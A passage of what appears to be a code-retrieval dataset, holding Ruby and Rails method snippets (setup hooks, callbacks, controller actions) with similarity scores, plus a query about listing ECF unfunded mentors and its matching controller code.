"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def school_cycle_has_subject_params
params.require(:school_cycle_has_subject).permit(:school_cycle_id, :teacher_id, :subject_id, :lunes, :martes, :miercoles, :jueves, :viernes, :sabado, :horario_clases)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Returns a list of ECF Unfunded Mentors Providers can see their ECF Unfunded Mentors details via this endpoint GET /api/v3/unfundedmentors/ecf?filter[updated_since]=20221113T11:21:55Z&sort=updated_at,full_name
|
def index
render json: serializer_class.new(paginate(ecf_unfunded_mentors)).serializable_hash.to_json
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @epu = Election.find(params[:id]).elections_participated_users.includes(:user)\n (@filterrific = initialize_filterrific(\n Member,\n params[:filterrific]\n )) || return\n @members = @filterrific.find.where(tenant_id: current_tenant.id).includes(:roles).page(params[:page])\n end",
"def get_available_mentors\n url = \"#{@api_base_path}/users/available_mentors\"\n handle_timeouts do\n response = self.class.get(url, headers: auth_header)\n convert_response(response, \"user\")\n end\n end",
"def index\n @elder_members = ElderMember.all.order('created_at DESC').paginate(page: params[:page], per_page: 10)\n end",
"def list_inventors\n json_out(Inventor.all)\n end",
"def list_inventors\n json_out(Inventor.all)\n end",
"def show\n sc = sort_column\n @sort = sc + \" \"\n if params[:page]\n\t\t\tcookies[:event_universities_page] = {\n\t\t\t\tvalue: params[:page],\n\t\t\t\texpires: 1.day.from_now\n\t\t\t}\n\t\tend\n @embed_code_universities = @event.embed_code_universities.order(@sort + sort_direction).page(cookies[:event_universities_page])\n @events_universities = @event.events_universities\n end",
"def show\n render json: serializer_class.new(ecf_unfunded_mentor).serializable_hash.to_json\n end",
"def index\n @educators = Educator.all\n end",
"def index\n @educators = Educator.all\n end",
"def get_linked_sf_endorsers\n supporters = sf.client.query(<<-QUERY)\n SELECT Id, Form_Assembly_Reference_Id__c, City__c, Date__c, Endorser_Type__c, Org_Ind_Name__c, State_Province__r.Name,\n State_Province__r.Abbreviation__c, Zip_Postal_Code__c, EndorsementOrg__r.Congressional_District__c,\n EndorsementOrg__r.Congressional_District__r.Name, EndorsementOrg__r.Population__c, EndorsementOrg__r.Employees__c,\n EndorsementOrg__r.Email__c, EndorsementOrg__r.Primary_Contact_Title__c, EndorsementOrg__r.Phone__c,\n Comments__c, Address__c, Contact_Email__c, Contact_Name__c, Contact_Phone__c, Contact_Title__c, EndorsementOrg__r.Website__c,\n EndorsementOrg__r.Mailing_Zip_Postal_Code__c, EndorsementOrg__r.Mailing_City__c, EndorsementOrg__r.Primary_Contact_Name__c,\n EndorsementOrg__r.Approval_Status__c, EndorsementOrg__r.Id, EndorsementOrg__r.Mailing_Street__c,\n EndorsementOrg__r.Endorser_Type__c, EndorsementOrg__r.Name__c, Verification_Status__c, Endorsement_Campaign__c,\n EndorsementOrg__r.Endorsement_Campaign__c\n FROM Endorsement__c\n WHERE Endorsement_Type__c INCLUDES ('Energy Innovation and Carbon Dividend Act') AND Private_From_Endorser__c = 'Public'\n AND Country__c = 'United States' AND Endorsement_Status__c = 'Signed'\n AND (State_Province__r.Abbreviation__c <> null OR EndorsementOrg__r.Congressional_District__r.Name <> null)\n AND Form_Assembly_Reference_Id__c <> null\n QUERY\n end",
"def list_inventors\n \tjson_out(Inventor.all)\n\tend",
"def index\n\t\t@guild_officers = @guild.officers.where.not(id: @guild.owner.id)\n\tend",
"def show\n @collaborateurs = @aramis_entity.collaborators\n end",
"def show\n @users = current_user.employer.recruiters.sort! {|a,b| a.first_name + a.last_name <=> b.first_name + b.last_name} # if current_user.has_role?(\"account_owner\")\n end",
"def actors_list\n # characters.where(show_id: self.id)\n self.characters.map do |character|\n character.actor.full_name\n end\n end",
"def available_collaborators\n input = available_collaborators_input\n return unauthorized unless available_collaborators_auth(input)\n student_id = current_visitor.portal_student.id\n clazz = Portal::Offering.find(input[:offering_id]).clazz\n collaborators = clazz.students.select { |s| s.id != student_id }.map { |s| {:id => s.id, :name => s.name} }\n render json: collaborators\n end",
"def fetch_locations\n lambda {\n Mobile::FacilitiesHelper.get_facility_names(user.va_treatment_facility_ids)\n }\n end",
"def all_supporters\n \n if event_type.event_type_desc.match('Opportunity')\n\t # WR#50294 - DISTINCTIONS rev 300308.doc\n\t result = distinctions_offered.map{|d| d.composite_supporters}\n else \n result = funders+managers+presenters\n end \n\t \n\t result.flatten.uniq.sort_by{|role|[role.contributor_names]}\n end",
"def index\n @guest_educators = GuestEducator.all\n end",
"def index\n @electors = Elector.limit(100)\n end",
"def show\n @educators = Educator.where(verified: [false, nil]).all\n @dmcas = Dmca.all\n end",
"def index\n @election_event_masters = ElectionEventMaster.all\n end",
"def index\n return provider_locator if params[:type] == 'cc_provider'\n\n facilities\n end",
"def index\n @fornecedors = Fornecedor.all\n end",
"def show\n @users = @event.users\n end",
"def list_of_owners\n @owners = Owner.find(:all, :order=>\"state,city\")\n @report_name = \"List of Owners\"\n end",
"def index\n #byebug\n #CHECK AUTHORIZATION HERE NOT JUST JUST AUTHENTICATION\n \n render json: {farmers: Farmer.all, customers: CustomerUser.all} #User.all #CustomerUser.all #{users: User.all, customers: Customer_User.all}\n end",
"def show\n raise Exceptions::EducatorNotAuthorized unless current_educator.districtwide_access\n educator = Educator.find(params[:id])\n render json: educator.as_json({\n :only => [\n :id,\n :email,\n :full_name,\n :staff_type,\n :restricted_to_sped_students,\n :restricted_to_english_language_learners,\n :can_view_restricted_notes,\n :schoolwide_access,\n :districtwide_access,\n :grade_level_access,\n :admin\n ],\n :methods => [:labels],\n :include => {\n :school => { :only => [:id, :name] },\n :sections => {\n :only => [:id, :section_number],\n :methods => [:course_description]\n },\n :homeroom => { :only => [:id, :name] }\n }\n })\n end",
"def members\n response = service.get_members\n response.map do |member_data|\n Member.new(member_data)\n end\n end",
"def full_mayorships\n client.user_mayorships(id)\n end",
"def index\n @farmers = Farmer.order('email ASC').paginate(page: params[:page], per_page: 10)\n end",
"def index\n @federations = Federation.all\n end",
"def index\n @ordems = Ordem.all\n end",
"def list_of_assigned_members(card)\n card.assignees.map(&:username)\n end",
"def index\n @supporters = Api::Supporter.all(current_user.email)\n end",
"def moderators\n\n @cloud = fetch_cloud()\n @users = @cloud.moderators\n render :index, status: 200\n\n end",
"def get_owners\n return make_request(\"#{self.endpoint}/list/owners\")\n end",
"def index\n @collaborators = User\n .includes(:chef_account)\n .where.not(id: params[:ineligible_user_ids])\n .limit(20)\n\n if params[:q]\n @collaborators = @collaborators.search(params[:q])\n end\n\n respond_to do |format|\n format.json\n end\n end",
"def index\n @educ_infos = EducInfo.all\n end",
"def list_engeeners\n @all_users = Engeener.find(:all)\n end",
"def getOwners\r\n\t\t\t\t\treturn @owners\r\n\t\t\t\tend",
"def index\n @collaborators = Collaborator.order(:created_at).all\n end",
"def index\n @electors = Elector.all\n\n render json: @electors\n end",
"def members\n @members ||= ApiFactory.new 'Orgs::Members'\n end",
"def index\n @uders = Uder.all\n end",
"def venues_presented_at\n find_related_frbr_objects( :is_presented_by, :which_roles?) \n end",
"def display_engineer_data(engineers, opts={})\n show_discography = opts[:show_discography] == true\n displayed = []\n\n cp \"Engineers:\", :color => :yellow\n engineers.each do |engineer|\n next if displayed.include? engineer.name\n cp \"#{engineer.name}: #{engineer.role}\", :bold => true, :color => :red\n\n engineer_details = discogs.get_artist(engineer.id)\n if (!engineer_details.nil?)\n aka = engineer_details.namevariations || []\n aka << engineer_details.aliases.map(&:name) unless engineer_details.aliases.nil?\n if !(aliases = aka.flatten.uniq.sort).empty?\n cp \"AKA: #{aliases.first(10).join(', ')}\"\n end\n end\n\n # Print the engineer's discography\n engineer_discog = get_artist_discog(engineer_details)\n\n if show_discography && !engineer_discog.nil? && engineer.role.match(/assisted|assistant|additional/i).nil?\n discog_cnt = engineer_discog.releases.size == engineer_discog_max ? \"#{engineer_discog_max}+\" : engineer_discog.releases.size\n cp \"#{discog_cnt} releases in discography\", :color => :yellow\n\n cp engineer_details.uri\n\n engineer_discog.releases.group_by{ |disk| disk.year }.sort_by{ |year, _| year || 0 }.reverse.each do |year, albums|\n cp year, :bold => true, :color => :blue\n albums.each do |a|\n cp \" * #{a.artist} - \\\"#{a.title}\\\", [#{a.role}]\"\n end\n end\n\n displayed << engineer_details.name\n end\n puts\n end\n end",
"def members\n resp = MU::Cloud::Google.admin_directory(credentials: @credentials).list_members(@cloud_id)\n members = []\n if resp and resp.members\n members = resp.members.map { |m| m.email }\n# XXX reject status != \"ACTIVE\" ?\n end\n members\n end",
"def info\n @listers.collect {|l| [l.name, l.description] }\n end",
